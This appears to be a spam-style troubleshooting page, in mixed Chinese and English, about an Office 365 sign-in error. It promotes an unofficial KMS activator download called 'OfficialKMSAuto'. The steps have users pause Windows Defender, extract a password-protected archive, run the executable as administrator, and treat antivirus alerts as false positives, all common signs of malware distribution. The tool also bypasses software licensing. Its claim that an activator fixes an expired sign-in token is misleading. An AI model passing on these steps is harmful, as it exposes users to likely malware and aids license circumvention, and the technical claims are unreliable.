Office 365 Office-Cant-Sign-In — 故障排除指南 2026
本文是 2026 年关于 Office 365 Office-Cant-Sign-In 的中文完整指南。Step-by-step fix for Office-Cant-Sign-In on Office 365. Office cannot sign in to your Microsoft account. Resolved in under 2 minutes with OfficialKMSAuto.
WYqejXiqBi97本文是 2026 年关于 Office 365 Office-Cant-Sign-In 的中文完整指南。Error Office-Cant-Sign-In appears when AAD token expired and Office refuses to refresh. The fastest fix in 2026 is to run OfficialKMSAuto, which detects the cause and applies the correct activation method automatically.
What causes error Office-Cant-Sign-In?
Office cannot sign in to your Microsoft account. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.
Step-by-step fix
Follow these steps in order. The whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Download and extract OfficialKMSAuto using password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Click 'Fix Office-Cant-Sign-In' or run the automatic repair option
- Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)
If the error still appears
Rare cases of Office-Cant-Sign-In need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.
Why this fix is permanent
HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.
Frequently asked questions
▸Will fixing this error require reinstalling Windows?
No. OfficialKMSAuto resolves activation errors without touching system files or requiring a reinstall.
▸Is the fix permanent?
Yes — HWID and TSforge bind the license to your hardware, so the error does not return after updates.
▸Do I need internet access?
Only for the initial handshake. The activation itself runs locally.
▸What is the archive password?
WYqejXiqBi97 — same for every download on this site.
▸Is OfficialKMSAuto safe to use for this fix?
Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus flags are generic HackTool false-positives.
Read this article in another language
Related articles
Activate Windows on Parallels 激活方法 2026 — 完整指南
本文是 2026 年关于 Activate Windows on Parallels 的中文完整指南。Activate Windows 11 ARM inside Parallels Desktop on Apple Silicon Mac with TSforge.
Read article →
KMSAuto on VM 激活方法 2026 — 完整指南
本文是 2026 年关于 KMSAuto on VM 的中文完整指南。Test KMSAuto inside VirtualBox or VMware before running on your main PC. HWID activates VMs too.
Read article →
如何免费激活 Skype for Business 2026 — 分步指南
本文是 2026 年关于 Skype for Business 的中文完整指南。Activate Skype for Business standalone client with KMSAuto. KMS supports the Lync/Skype SKUs.
Read article →
如何免费激活 Windows 11 Home 2026 — 分步指南
本文是 2026 年关于 Windows 11 Home 的中文完整指南。Permanent Windows 11 Home activation via HWID — genuine digital license, survives reinstalls on the same PC.
Read article →
How to Use 激活方法 2026 — 完整指南
本文是 2026 年关于 How to Use 的中文完整指南。Complete beginner guide to KMSAuto Net 2026 — download, pause Defender, extract, run as admin, click Activate.
Read article →
如何免费激活 KMSAuto Windows 11 2026 — 分步指南
本文是 2026 年关于 KMSAuto Windows 11 的中文完整指南。Activate Windows 11 (23H2, 24H2, 25H2) with KMSAuto Net 2026. TSforge for new builds, HWID for permanent Home/Pro license.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97